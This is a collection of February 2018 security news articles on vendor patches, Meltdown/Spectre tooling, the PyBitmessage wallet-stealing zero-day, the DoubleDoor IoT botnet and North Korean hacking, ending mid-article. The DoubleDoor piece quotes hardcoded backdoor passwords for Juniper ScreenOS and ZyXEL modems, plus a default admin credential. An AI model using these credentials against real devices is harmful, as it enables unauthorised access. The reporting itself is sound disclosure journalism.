SAP Resolves High Risk Flaws with February 2018 Patches
15.2.2018 securityweek
Vulnerebility
SAP this week released its monthly set of security updates for its products, addressing a total of 11 new vulnerabilities, including two considered high severity.

Adding the number of patches released after the second Tuesday of January and before the second Tuesday of this month, along with updates to previously released patches, totals 26 Security Notes (5 high-, 19 medium- and 2 low-risk).

The Security Notes SAP released as part of the February 2018 Security Patch Day fix three cross-site scripting (XSS) flaws, two directory traversal issues, two missing authorization checks, two information disclosure bugs, one unrestricted file upload, and four other vulnerabilities, SAP says in an advisory.

The 11 new notes impact Internet Graphics Server (IGS), NetWeaver System Landscape Directory, HANA Extended Application Services, ABAP File Interface, SAP CRM, ERP Financials Information System, Netweaver Portal, Netweaver Java Web Application, CRM WebClient UI, BI Launchpad, and SAP HANA.

The updates for previous Security Notes include an incorrect authorization check in ERP Logistics, a cross-site request forgery (CSRF) vulnerability in SAP Sybase, and an issue related to the handling of digitally signed notes in SAP Note Assistant.

When all of the Security Notes released since the second Tuesday of January are taken into consideration, missing authorization check emerges as the most common vulnerability type, with seven occurrences, followed by XSS at five. SAP also addressed four implementation flaws, three directory traversals, two SQL injections, one SSRF, one cross-site request forgery, and one denial-of-service.

The most severe of the issues is a missing authentication check in SAP NetWeaver System Landscape Directory (CVE-2018-2368), with a CVSS base score of 8.3. An attacker exploiting it could access a service without any authorization procedures, which could lead to information disclosure, privilege escalation and other attacks, explains ERPScan, a company specialized in securing SAP and Oracle products.

Another critical bug (CVE-2018-2395) addressed this month impacted SAP IGS, had a CVSS base score of 8.3, and consisted of several vulnerabilities: unrestricted file upload (CVE-2018-2395), DoS (CVE-2018-2394, CVE-2018-2396, CVE-2018-2391, CVE-2018-2390, CVE-2018-2386, CVE-2018-2385, CVE-2018-2384), XML external entity (XXE) (CVE-2018-2393, CVE-2018-2392), log injection (CVE-2018-2389), and information disclosure (CVE-2018-2382, CVE-2018-2387).

SAP also resolved several information disclosure bugs (CVSS base score: 7.1) in HANA Extended Application Services: CVE-2018-2374, CVE-2018-2375, CVE-2018-2376, CVE-2018-2379, CVE-2018-2377, CVE-2018-2372 and CVE-2018-2373. These could lead to sensitive data leaks, including HANA database usernames and passwords, reveals Onapsis, the company that reported the flaws.

“Two high Priority notes have been published in tandem this month (notes #1584573 and #1977547). These notes are a re-release of an old note published as far back as 2011. It concerns an SQL-injection vulnerability in the component BC-UPG,” Onapsis explains.

Other bugs addressed this month included a directory traversal (CVE-2018-2380) in SAP Internet Sales (CVSS base score: 6.6), a directory traversal (CVE-2018-2367) in SAP ABAP File Interface (CVSS base score: 6.6), and an information disclosure (CVE-2018-2369) in SAP HANA (CVSS base score: 5.3).


Nine Remotely Exploitable Vulnerabilities Found in Dell EMC Storage Platform
15.2.2018 securityweek
Vulnerebility
Nine remotely exploitable vulnerabilities have been found in Dell EMC's Isilon OneFS platform, a scale-out NAS storage platform that combines modular hardware with unified software to harness unstructured data.

"Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root," warns an advisory released today.

The vulnerabilities were discovered by researchers Ivan Huertas and Maximiliano Vidal from CoreLabs, the research center of Core Security, and disclosed to Dell in September 2017. A range of Isilon OneFS versions from 7.1.1.11 to 8.0.1.2 were found to be affected by two or more of the vulnerabilities. "Other products and versions might be affected, but they were not tested," states the advisory.

The Isilon web console contains several features that are vulnerable to cross-site request forgery. Since there are no anti-CSRF tokens in any forms on the web interface, an attacker can submit authenticated requests when an authenticated user browses an attacker-controlled domain. If social engineering can convince an authenticated user or administrator to visit a malicious website, embedded code could be executed to create a new user with elevated privileges, or execute arbitrary commands in the target system.

This is the first (CVE-2018-1213) of the nine vulnerabilities. Two privilege escalation vulnerabilities could then be used, once initial access has been achieved, to allow the attacker to run shell commands or arbitrary Python code with root privilege.

The first of these (CVE-2018-1203) is possible because of incorrect sudo permissions. "The compadmin user can run the tcpdump binary with root privileges via sudo," explains the advisory. "This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files."

The second (CVE-2018-1204) is privilege escalation via remote support scripts. "As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo," explain the researchers. "This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges."

The remaining six vulnerabilities are persistent cross-site scripting errors: in the cluster description; the Network Configuration page; the Authentication Providers page; the Antivirus page; the Job Operations page; and the NDMP page.

All nine vulnerabilities were responsibly disclosed to Dell EMC on 25 September 2017. At first (about one month later), Dell proposed an update schedule including June 2018. CoreLabs replied that this was unacceptable given "given current industry standards."

Dell reviewed its schedules, and confirmed that they would have a fix available by February 12, 2018. The two parties agreed to release details of the vulnerabilities and fixes on February 14. Dell's fixes are available from its support site today. Dell's own advisory will be posted to the Full Disclosure mailing list today. It had not been done at the time of writing this article.

Dell completed the acquisition of data storage firm EMC in September 2016 in a record $67 billion deal. In the same deal, Dell also acquired RSA.

Core Security merged with SecureAuth and raised more than $200 million from K1 Investment Management and Toba Capital in September 2017.


Windows Analytics Helps Assess Risk of Meltdown, Spectre Attacks
15.2.2018 securityweek  Security
Microsoft is stepping up its efforts to help IT professionals better assess whether their Windows devices are protected against the industry-wide Meltdown and Spectre attack techniques.

Publicly detailed in the beginning of this year, the two attacks allow malicious applications to bypass memory isolation mechanisms and access potentially sensitive data. Residing in the processors themselves, the bugs affect billions of devices.

Tech companies were informed on the bugs last year and worked hard on releasing both software and firmware mitigations, but some of the patches added instability and their delivery was stopped. Microsoft too decided to disable mitigations for one Spectre attack variation as systems became unstable.

After halting the initial patches several weeks ago, Intel recently rolled out new microcode updates to address one of the Spectre vulnerabilities in its Skylake processors. IBM, Oracle, and many other vendors rushed to push out patches for the bugs as well, and malware that abuses the vulnerabilities emerged as well.

Being hardware-based security vulnerabilities, Meltdown and Spectre represent a challenge for the entire industry, Microsoft says. Not only are updates required for both CPU microcode (firmware) and the operating system, but the anti-virus has to be compatible with the patches as well, at least on Windows.

To help IT professionals assess whether the Windows devices in their networks are protected against Spectre and Meltdown, Microsoft has added new capabilities to its free Windows Analytics service.

With the help of these new features, admins can access reports on the status of all Windows devices they manage, Terry Myerson, Executive Vice President, Windows and Devices Group, explains.

Now, admins can learn whether the anti-virus (AV) software is compatible with the required Windows OS updates, thus knowing whether it is safe or not to install the patches.

Furthermore, information on which Windows security update is running on a managed device and if any of these updates have been disabled is now available (IT administrators have the option to install the security update but disable the fix).

Now, Windows Analytics also offers details on the firmware installed on the device, providing information on whether the firmware includes the specific protections required. This insight, however, will be initially limited to the list of approved and available firmware security updates from Intel.

“We will be adding other CPU (chipset) partners’ data as it becomes available to Microsoft,” Myerson points out.

Windows Analytics is currently running on millions of devices, Microsoft says. The newly included capabilities will be available on all Windows 7 SP1, Windows 8.1 and Windows 10 devices running the service.


Hackers have exploited a zero-day in Bitmessage client to steal Electrum wallet keys
15.2.2018 securityaffairs
Exploit

Bitmessage developers have issued an emergency update for the PyBitmessage client that patches a critical remote code execution vulnerability that has been exploited in attacks.
Bitmessage development team has rolled out an emergency patch to address a zero-day vulnerability in the PyBitmessage client for Bitmessage, which a Peer-to-Peer (P2P) communications protocol used to send encrypted messages to users.

The flaw is critical remote code execution vulnerability that according to the experts was being exploited in the wild to steal Bitcoin wallet keys.

bitmessage app

According to the security advisory published by the development team developers, hackers exploited the flaw in attacks against users running PyBitmessage 0.6.2.

“A remote code execution vulnerability has been spotted in use against some users running PyBitmessage v0.6.2. The cause was identified and a fix has been added and released as 0.6.3.2. If you run PyBitmessage via code, we highly recommend that you upgrade to 0.6.3.2. Alternatively you may downgrade to 0.6.1 which is unaffected.” reads the advisory.

The message encoding vulnerability has been patched with the release of version 0.6.3.2. The developers highlighted that PyBitmessage 0.6.1 is not affected by the vulnerability, this means that users can also downgrade their version to mitigate the attacks.

According to the security advisor, hackers targeted also the Bitmessage core developer Peter Šurda, his keys were most likely compromised for this reason he has created a new support address.

“Bitmessage developer Peter Šurda’s addresses are to be considered compromised.” continues the advisory.

Users are recommended to change their passwords and create new bitmessage keys.

Šurda speculates the attacker exploited the zero-day to create a remote shell and steal bitcoins from Electrum wallets.

“The exploit is triggered by a malicious message if you’re the recipient (including joined chans),”Šurda wrote on Reddit thread. “The attacker ran an automated script but also opened, or tried to open, a remote reverse shell. The automated script looked in ~/.electrum/wallets, but when using the reverse shell he had access to other files as well.”

Bitmessage developers are still investigating the attacks.


Windows Analytics now includes Meltdown and Spectre detector
15.2.2018 securityaffairs Security

Good news for administrators of Windows systems, Microsoft has added a Meltdown-and-Spectre detector to its telemetry analysis tool Windows Analytics.
Microsoft has added a Meltdown-and-Spectre detector to its telemetry analysis tool Windows Analytics. The Meltdown-and-Spectre detector was available since Tuesday when Microsoft announced the new capabilities implemented in the free Windows Analytics service.

The new capabilities allow admin to monitor:

Anti-virus Status: Some anti-virus (AV) software may not be compatible with the required Windows Operating System updates. This status insight indicates if the devices’ anti-virus software is compatible with the latest Windows security update.
Windows Operating System Security Update Status: This Windows Analytics insight will indicate which Windows security update is running on any device and if any of these updates have been disabled. In some cases, IT Administrators may choose to install the security update, but disable the fix. Our complete list of Windows editions and security updates can be found in our Windows customer guidance article.
Firmware Status – This insight provides details about the firmware installed on the device. Specifically, this insight reports if the installed firmware indicates that it includes the specific protections required. Initially, this status will be limited to the list of approved and available firmware security updates from Intel4. We will be adding other CPU (chipset) partners’ data as it becomes available to Microsoft.
The check for the status of the Operating System could allow admins to verify if Meltdown and Spectre patched are correctly working.

The antivirus check allows admins to verify if the running AV is compatible with required Windows Operating System updates.

The check for firmware status currently works only for Intel chips.

Windows Analytics Meltdown Spectre

Meltdown-and-Spectre detector is available for Windows 7 through Windows 10 and requires that systems are running the February 2018 patch levels (Win7 SP1, KB2952664; Win8.1, KB2976978; and for Win10, KB4033631).

Windows Analytics Meltdown Spectre


Critical Code Execution Flaws Patched in Android
14.2.2018 securityweek Android
Google this month addressed several critical severity remote code execution (RCE) vulnerabilities in the Android operating system.

Split in two parts, the Android Security Bulletin for February 2018 resolves only 26 vulnerabilities in the mobile operating system, most of which are rated high severity. The vast majority of the security issues are elevation of privilege (EoP) bugs.

A total of 7 issues were addressed with the 2018-02-01 security patch level, including 6 flaws in Media Framework and one vulnerability in the System component.

This month, Google addressed two critical RCE bugs in Media Framework: CVE-2017-13228, which impacts Android 6.0 and newer, and CVE-2017-13230, which impacts Android 5.1.1 and later (it is considered a high risk denial-of-service (DoS) flaw on Android 7.0 and newer).

Other issues addressed in Media Framework included an information disclosure vulnerability, an elevation of privilege bug, and several denial-of-service flaws.

By successfully exploiting the most severe of these vulnerabilities, an attacker could achieve remote code execution in the context of a privileged process. The issues could be abused via email, web browsing, and MMS when processing media files.

The vulnerability addressed in System (CVE-2017-13236) was an EoP bug that could allow a local malicious application to execute commands normally limited to privileged processes, Google explained in an advisory.

The 2018-02-05 security patch level includes fixes for 19 vulnerabilities in HTC, Kernel, NVIDIA, Qualcomm, and Qualcomm closed-source components.

The most severe of these issues are two remote code execution vulnerabilities in Qualcomm components (CVE-2017-15817 and CVE-2017-17760).

Except for an information disclosure in HTC components (bootloader) and an undisclosed bug type on Qualcomm closed-source components, the remaining issues were elevation of privilege vulnerabilities impacting components such as Media Framework, WLan, Graphics, Kernel, and Bootloader.

Google also released a separate set of patches to address 29 vulnerabilities as part of the Pixel / Nexus Security Bulletin for February 2018.

While most of these bugs were rated moderate severity, one critical remote code execution bug and one high risk denial-of-service issue (both only on Android 5.1.1, 6.0, and 6.0.1 releases and medium severity on Android 7.0 and up) slipped among them.

Impacted components included Media Framework, System, Kernel and Qualcomm. Most of the bugs were elevation of privilege and information disclosure vulnerabilities.

In addition to these security patches, Google included a series of functional improvements in the software updates for the Pixel devices.


Pepperl+Fuchs HMIs Vulnerable to Meltdown, Spectre Attacks
14.2.2018 securityweek
Attack
Pepperl+Fuchs has informed customers that some of its human-machine interface (HMI) products are vulnerable to the recently disclosed Meltdown and Spectre attack methods.

The Germany-based industrial automation company said its VisuNet and Box Thin Client HMI devices rely on Intel CPUs, which makes them vulnerable to Meltdown and Spectre attacks. The list of affected products includes VisuNet RM, VisuNet PC, and Box Thin Client BTC.

Pepperl+Fuchs told CERT@VDE, the German counterpart of ICS-CERT, that the impacted devices are designed for use on industrial control systems (ICS) networks, and they should be isolated from the enterprise network and not directly accessible from the Internet.

“Additionally, VisuNet HMI devices use a kiosk mode for normal operation. Within this mode access policies of thin client based VisuNet Remote Monitors and Box Thin Clients are restricted, such that users can only access predefined servers,” CERT@VDE said in its advisory. “This implies that outgoing connections and local software installations have to be configured by administrators. Hence, operators are restricted in a way such that they can only use the system as configured by administrators.”

The vendor says these measures should greatly reduce the risk of attacks. However, if direct Internet access is allowed and a user is tricked into visiting a malicious website, an attacker may be able to execute arbitrary code and obtain data from the HMI device’s memory, including passwords.

Pepperl+Fuchs has released some updates that include the Windows patches for Meltdown and Spectre provided by Microsoft. However, the vendor has warned customers that the fixes could have a negative impact on performance and stability.

Both the patches from Intel and Microsoft have been known to cause problems, but the companies have been working on addressing existing issues.

Pepperl+Fuchs is not the only ICS vendor to inform customers that its products are vulnerable to Meltdown and Spectre attacks. Shortly after the flaws were disclosed, Rockwell Automation, Siemens, Schneider Electric and ABB published advisories on the topic.

More recently, advisories were also published by General Electric and Emerson, but the information is only available to customers that have registered an account on their websites.

The Meltdown and Spectre attacks allow malicious applications to bypass memory isolation mechanisms and access sensitive data stored in memory. Researchers warned recently that malicious actors appear to have already started working on malware designed to exploit the flaws.


Shooting Outside US NSA Headquarters, One Hurt
14.2.2018 securityweek BigBrothers
A shooting erupted Wednesday outside the suburban Washington headquarters of the National Security Agency, a secretive intelligence organization responsible for global US electronic eavesdropping, leaving at least one person injured, officials said.

NBC News aired aerial images of what appeared to be police surrounding a man on the ground in handcuffs outside the NSA facility in Fort Meade, Maryland.

A black SUV appeared to have crashed into a concrete barrier surrounding the site, and bullet holes were visible in the vehicle's front windows.

"We can confirm there has been one person injured and we don’t know how the injuries occurred," an NSA spokesman told AFP.

The local ABC affiliate put the number of injured at three and said a suspect was arrested.

The NSA said the situation was under control, advising motorists that a highway leading to the complex was closed in both direction "due to a police investigation."

"The president has been briefed on the shooting at Ft. Meade," the White House said in a statement. "Our thoughts and prayers are with everyone that has been affected."

A law enforcement source said the FBI's Baltimore office was handling the investigation but it was "too soon to tell" whether it was an attack.

They are "still trying to ascertain the facts," the source said.

Known as the "Puzzle Palace," the NSA is the nerve center for US electronic espionage as well as the main protector of US communications and information systems from cyber attack.

The agency was thrust into the spotlight in 2013 when former contractor Edward Snowden leaked details of its global surveillance programs, including its collection of data on Americans.

Snowden has been charged with violating the Espionage Act and theft of government property. He now lives in exile in Russia.

The NSA was the scene of a similar incident in March 2015 when police fired on an SUV, killing the driver and wounding a passenger after they failed to obey orders to stop at its heavily guarded entrance.

In that incident, the two men in the Ford SUV were dressed in women's clothes "but not in an attempt to disguise themselves from authorities," an FBI spokeswoman said at the time.


Security Awareness Training Top Priority for CISOs: Report
14.2.2018 securityweek Security
Thirty-five percent of CISOs in the financial sector consider staff training to be the top priority for cyber defense. Twenty-five percent prioritize infrastructure upgrades and network defense.

The Financial Services Information Sharing and Analysis Center (FS-ISAC) polled more than 100 of its 7,000 global members to produce the first of its planned annual CISO Cybersecurity Trends Study. ISACs are non-profit organizations, usually relevant to individual critical infrastructure sectors, designed to share threat information among their members and with relevant government agencies. They were born from Bill Clinton's 1998 Presidential Decision Directive PDD 63.

The FS-ISAC's 2018 Cybersecurity Trends Report (PDF) notes a distinction in priorities based on the individual organization's reporting structure. Where CISOs report into a technical structure, such as the CIO, the priority is for infrastructure upgrades, network defense and breach prevention. Where they report into a non-technical function, such as the COO or Legal, the priority is for staff training.

This could be as simple as CISOs prioritizing areas for which they are most likely to get funding. However, that staff training is considered the overall priority does not surprise Dr. Bret Fund, founder and CEO at SecureSet.

"I think that speaks to CISOs seeing first-hand how their largest risks of breach rest in the people component vs. the product or process components," he suggests. "Executives and Boards cannot underestimate the need for a robust security culture inside their organizations; and the way that you achieve that is through proper education and training."

Dan Lohrmann, chief security officer at Security Mentor, agrees. "The mission-essential business aspects that end user security awareness training is now playing in global financial organizations must be front and center surrounding around all data handling and incident response." He recommends metrics-based training so that progress can be monitored.

The report finds no common reporting structure within financial organizations. Only 8% of CISOs report directly to the CEO. Sixty-six percent report to the CIO (39%), the CRO (14%) or the COO (13%). Despite these differences, there appears to be no impact on the frequency of reporting to the board of directors on cybersecurity.

Reporting most frequently occurs every three months (54% of CISOs). Eighteen percent report every six months, and 16% report annually. Only 6% report monthly.

There is no indication within the report on structural trends, which could provide an insight into the evolving role of the CISO. Greg Reber, CEO at AsTech, thinks this is an omission. "At AsTech, we see moves away from CISOs reporting to CIOs, as the incentives can be at odds," he explains. "CIOs may need to get things done quickly to realize financial goals -- moving processing to the cloud environments for example -- while CISOs are chiefly concerned with risk management."

He also notes a failure to comment on cyber risk insurance. "This falls into an 'event response' category, which we see as a top priority. However, it didn't appear in the top three responses in this survey." Reber equates 'cyber defense' with a Maginot Line philosophy, and believes resources should be balanced between defense and response.

"This report from FS-ISAC highlights the continued need for cyber awareness and vigilance from staff," comments Stephen Burke, founder and CEO at Cyber Risk Aware. "Hackers are great at exploiting human nature, using social engineering tactics to gain their victims' trust. Once they can get through defense and onto a user's machine they may use sophisticated methods to stealthily move laterally across a network stealing data or credentials."

FS-ISAC's recommendations to its members based on its survey findings is that staff training should be prioritized regardless of the reporting structure. "People can be the solution to these growing online risks, or they can be contributors to the growing level of security problems," says Lohrmann. "Effective security awareness training will enable the enterprise to successfully stop cyberattacks."

Venture and M&A

Security awareness firms have been the subject of significant funding and M&A transactions in recent months.

Earlier this month, security awareness training firm Wombat Security agreed to be acquired by Proofpoint for $225 million in cash. In August 2017, Webroot acquired Securecast, an Oregon-based company that specializes in security awareness training. In October 2017, security awareness training and simulated phishing firm KnowBe4 secured $30 million in Series B financing, which brought the total amounbt raised by KnowBe4 to $44 million. Security awareness training firm PhishMe has raised nearly $58 million in funding, including a $42.5 million series C funding round in July 2016.

*Additional reporting by Mike Lennon


Microsoft Patch Tuesday for February 2018 addresses 14 critical flaws
14.2.2018 securityaffairs
Vulnerebility

Microsoft Patch Tuesday for February 2018 addressed a total of 50 vulnerabilities in affecting Windows operating system, Microsoft Office, web browsers and other products of the tech giant.
Fourteen issues are listed as critical, 34 are rated as important, and only two of them are rated as moderate in severity.

The list of critical vulnerability includes an information disclosure issue in the Edge browser, a remote code execution vulnerability in the Windows’ StructuredQuery component, a memory corruption in Outlook, and several memory corruptions flaws that reside into the scripting engines used by both Edge and Internet Explorer.

One of the most severe vulnerabilities addressed by the Microsoft Patch Tuesday for February 2018 is a memory corruption flaw tracked as CVE-2018-0852 that affects Microsoft Outlook. The flaw could be exploited to achieve remote code execution on the targeted machines.

“A remote code execution vulnerability exists in Microsoft Outlook when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.” reads the security advisory published by Microsoft. “If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.”

In order to trigger the flaw, an attacker can trick the victim into opening a specifically crafted message attachment or viewing it in the Outlook Preview Pane … yes simply viewing an email in the Preview Pane could allow code execution.

“Exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Outlook software. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file designed to exploit the vulnerability.” continues the advisory.

Microsoft Patch Tuesday for February 2018

Another vulnerability affecting Outlook and addressed with the Microsoft Patch Tuesday for February 2018 is a privileged escalation issue tracked as CVE-2018-0850. The vulnerability is rated as important and can be exploited by an attacker by sending a specially crafted email to an Outlook user. The exploitation doesn’t require user’s action, the flaw is triggered when the message is merely received.

“An attacker who successfully exploited the vulnerability could attempt to force Outlook to load a local or remote message store (over SMB).” states the advisory published by Microsoft.

“To exploit the vulnerability, the attacker could send a specially crafted email to a victim. Outlook would then attempt to open a pre-configured message store contained in the email upon receipt of the email.”

Another critical flaw fixed by Microsoft is an information disclosure vulnerability (CVE-2018-0763), that affects Microsoft Edge. The vulnerability ties to the way Microsoft Edge improperly handles objects in the memory.

An attacker can trigger the flaw to obtain sensitive information to compromise the target machine, but in this case, it needs the user’s interaction.

“An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user’s system.” state the advisory published by Microsoft.

“To exploit the vulnerability, in a web-based attack scenario, an attacker could host a website in an attempt to exploit the vulnerability. In addition, compromised websites and websites that accept or host user-provided content could contain specially crafted content that could exploit the vulnerability. However, in all cases an attacker would have no way to force a user to view the attacker-controlled content. Instead, an attacker would have to convince a user to take action.”

Let’s close with another issue fixed by Microsoft is the CVE-2018-0771 that affects Microsoft Edge, it was publicly known before by Microsoft.

“A security feature bypass vulnerability exists when Microsoft Edge improperly handles requests of different origins. The vulnerability allows Microsoft Edge to bypass Same-Origin Policy (SOP) restrictions, and to allow requests that should otherwise be ignored. An attacker who successfully exploited the vulnerability could force the browser to send data that would otherwise be restricted.” states Microsoft.

“In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge and then convince a user to view the website. The attacker could also take advantage of compromised websites, and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.”

Users have to apply security patches as soon as possible.


Schneider Electric Patches Several Flaws in IGSS Products
14.2.2018 securityweek ICS
Schneider Electric informed customers recently that several vulnerabilities have been found in its IGSS automation product, including in the SCADA software and mobile applications.

Ivan Sanchez of Nullcode discovered that the IGSS SCADA software is affected by a configuration issue that leads to Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) mitigations not being implemented properly.

The flaw, tracked as CVE-2017-9967 and classified as high severity, affects version 12 and earlier of the IGSS SCADA software. The issue has been addressed with the release of version 13.

Another advisory published recently by Schneider Electric describes two medium severity vulnerabilities discovered by researchers in the IGSS Mobile applications for Android and iOS.

One of the flaws, CVE-2017-9968, is related to the lack of certificate pinning when the apps establish a TLS/SSL connection, which makes it easier to launch man-in-the-middle (MitM) attacks.

The second weakness, CVE-2017-9969, allows an attacker to obtain app passwords and other potentially sensitive data from a configuration file, where the information is stored in clear text.

Learn More at SecurityWeek’s ICS Cyber Security Conference

The security holes affect IGSS Mobile for Android and iOS versions 3.0 and prior, and they have been patched by Schneider with the release of version 3.1.1.

The IGSS Mobile vulnerabilities were discovered by researchers at IOActive and Embedi as part of a project that targeted SCADA mobile apps from 34 vendors.

In a report published last month, the companies revealed that flaws had been identified in a vast majority of the tested SCADA applications, including issues that can be exploited to influence industrial processes.

The project focused on Android applications, but Schneider Electric apparently determined that the iOS version of its IGSS app was also impacted by the vulnerabilities discovered by IOActive and Embedi researchers.

Schneider Electric also informed customers last week of a high severity remote code execution vulnerability affecting its StruxureOn Gateway product.

“Uploading a zip which contains carefully crafted metadata allows for the file to be uploaded to any directory on the host machine information which could lead to remote code execution,” the vendor said in its advisory.

The flaw, tracked as CVE-2017-9970, affects StruxureOn Gateway 1.0.0 through 1.1.3 and it has been patched with the release of version 1.2.

Schneider Electric admitted recently that the Triton/Trisis malware, whose existence was brought to light in mid-December, exploited a zero-day vulnerability in the company’s Triconex Safety Instrumented System (SIS) controllers.


Zero-Day Attack Prompts Emergency Patch for Bitmessage Client
14.2.2018 securityweek
Attack
An emergency update released on Tuesday for the PyBitmessage application patches a critical remote code execution vulnerability that has been exploited in attacks.

Bitmessage is a decentralized and trustless communications protocol that can be used for sending encrypted messages to one or multiple users. PyBitmessage is the official client for Bitmessage.

Bitmessage developers have issued a warning for a zero-day flaw that has been exploited against some users running PyBitmessage 0.6.2.

The security hole, described as a message encoding bug, has been patched with the release of version 0.6.3.2, but since PyBitmessage 0.6.1 is not affected by the flaw, downgrading is also an option for mitigating potential attacks.

Code patches were released on Tuesday, and binary files for Windows and macOS are expected to become available on Wednesday.

One of the individuals targeted in the zero-day attacks was Bitmessage core developer Peter Šurda. The developer told users not to contact him on his old address and admitted that his keys were most likely compromised. A new support address has been added to PyBitmessage 0.6.3.2.

“If you have a suspicion that your computer was compromised, please change all your passwords and create new bitmessage keys,” Surda said.

According to Šurda, the attacker exploited the vulnerability in an effort to create a remote shell and steal bitcoins from Electrum wallets.

“The exploit is triggered by a malicious message if you're the recipient (including joined chans),” the developer explained. “The attacker ran an automated script but also opened, or tried to open, a remote reverse shell. The automated script looked in ~/.electrum/wallets, but when using the reverse shell he had access to other files as well.”

The investigation into these attacks is ongoing and Bitmessage developers have promised to share more information as it becomes available.

Bitmessage has become increasingly popular in the past years following reports that the U.S. National Security Agency and other intelligence agencies are conducting mass surveillance. While the protocol is often used by people looking to protect their privacy, it has also been leveraged by cybercriminals, including in ransomware attacks for communications between victims and the hackers.


DoubleDoor, a new IoT Botnet bypasses firewall using two backdoor exploits
14.2.2018 securityaffairs
Exploit  IoT

Security researchers spotted a new IoT botnet dubbed DoubleDoor that is able to bypass firewall as well as modem security using two backdoor exploits.
IoT devices continue to be a privileged target of cyber criminals, cyber attackers against so-called smart objects has seen a rapid evolution. Security researchers at NewSky Security (NewSky Security) have detected a new IoT botnet dubbed DoubleDoor that is able to bypass firewall as well as modem security using two backdoor exploits.

The analysis of the honeypot logs allowed the researchers to detect the new threat, it leverages two known backdoor exploits to manage two levels of authentications.

The first malicious code is the Juniper Networks SmartScreen OS exploit, it triggers the flaw CVE-2015–7755 to bypass the firewall authentication.

CVE-2015–7755 hardcoded backdoor affects the Juniper Networks’ ScreenOS software that powers their Netscreen firewalls.

“Essentially the telnet and SSH daemons of Netscreen firewalls can be accessed by using the hardcoded password <<< %s(un=’%s’) = %u with any username, regardless of it being valid or not.We saw its implementation in the initial attack cycle of DoubleDoor as it attacked our honeypots with username “netscreen” and the backdoor password.” wrote Ankit Anubhav, Principal Researcher, NewSky Security.

Once succeeded, the malicious code uses the CVE-2016–10401 Zyxel modem backdoor exploit to take full control over the IoT device.

The code is a privilege escalation exploit, “which is why the DoubleDoor attackers also performed a password based attack to get a basic privilege account like admin:CenturyL1nk before going for the superuser.”

“This time it was CVE-2016–10401 , a backdoor for ZyXEL PK5001Z devices. This backdoor is straight forward too, with a hardcoded su password as zyad5001.” continues the expert.

DoubleDoor

The experts highlighted that differently from other IoT botnets like Satori or Masuta, the DoubleDoor botnet doesn’t use a unique string in the reconnaissance phase.

“after the threat actors have performed the attack, they want a confirmation whether they were successful of getting control of the IoT device. For this, they try to invoke the shell with invalid commands. If the attacker has succeeded, it will show “{string}: applet not found” where {string} is the invalid command.” observed the research.

“DoubleDoor botnet takes care of this, by using a randomized string in every attack”

The DoubleDoor botnet seems to be in an early stage, most of the attacks are originated from South Korean IPs.

The botnet includes the code to target a limited number of devices, it will succeed only if the victim has a specific unpatched version of Juniper ScreenOS firewall which protects unpatched Zyxel modems.

“Double layer of IoT protection is more common in corporate environments, which don’t rely on built-in IoT authentication and like to protect it with another layer of firewall. Although such corporate devices can be lesser in number, getting control of corporate environment routers can be more valuable for an attacker as it can lead to targeted IoT attacks.” concluded the experts.


All You Need to Know About North Korea and its cyber army
14.2.2018 securityaffairs BigBrothers

What Type Of Technology Does North Korea Have? How Did The Country Begin Using Hackers? How Do Hacking Efforts Comply with the Political Situation?
North Korea is not known for technological sophistication. The country does not have any global technological franchises, such as Apple or Samsung, and its citizens continue to have limited access to any basic internet or smartphone apps.

However, the regime of Kim Jong Un has become increasingly adept at entering computer systems across the globe for the strategic benefit and financial gain.

According to statistics, North Korea‘s ‘cyber-soldiers’ have been linked to the stolen US-South Korean military plans, alleged theft of $60 million from a Taiwanese bank, and the collapse of the Seoul-based cryptocurrency exchange.

Even as the US begins to concentrate on the North Korean development of nuclear weapons, Kim Jong Un is attacking from the rear with aggressive NK hackers.

1. What Type Of Technology Does North Korea Have?
The North Korean nation has experienced limited access to the free flow of online information. The majority of citizens can view only a few websites within the country, but with close government and media agency monitoring.

A select few of these agencies have international access, but the activities are carefully monitored to avoid any unwanted interactions.

For several years, North Korea had a single link to the global internet via the state-owned China United New Communications corporation; however, it recently secured a second link via Russian telecommunications company in October 2017.

According to Fergus Hanson, the head of the International Cyber Policy Center at the Australian Strategic Policy Institute, North Korea currently employees an estimated 1,700 state-sponsored hackers to deal with online interactions.

2. How Did The Country Begin Using Hackers?
Kim Jong Il, the father of current leader Kim Jong Un, was an early proponent of technology to be used as a form of modern weaponry.

The military worked on several methods for disrupting GPS systems and setting off electromagnetic pulses to obstruct computer capabilities in other countries.

It is thought that North Korea set up Unit 121 – an early cyber-warrior squad approximately twenty years ago as part of the NK’s military.

The unit started to draw attention to its existence in 2004 during allegations of alleged ‘tapping’ into South Korea’s military wireless communication and for testing malicious computer coding.

In 2011, South Korea arrested five hackers allegedly working as North Korean hackers for stealing several millions of dollars via an online game.

3. When Did the Hackers Show Signs Of Improvement?
North Korea’s ‘cyber-warriors’ began to draw international attention during 2014 when headlines stated an alleged intrusion into the Sony Corporation’s film business.

Sony was preparing to release a movie starring Seth Rogen and James Franco called ‘The Interview’ – a comedy about meeting the leader of North Korea.

All efforts of the intrusion seemed to be the protection of Kim’s image and punishment of the studio.

Leaked documentation of the hack-damaged careers in Hollywood resulted in Sony having to compensate over $8 million in damages.

Once North Korea got publicly identified as the perpetrator, the NK government denied involvement and publicly declared the US as slandering them.

Despite several accusations being made of hacking attacks, North Korea continues to deny their involvement.

4. What is Happening at the Moment?
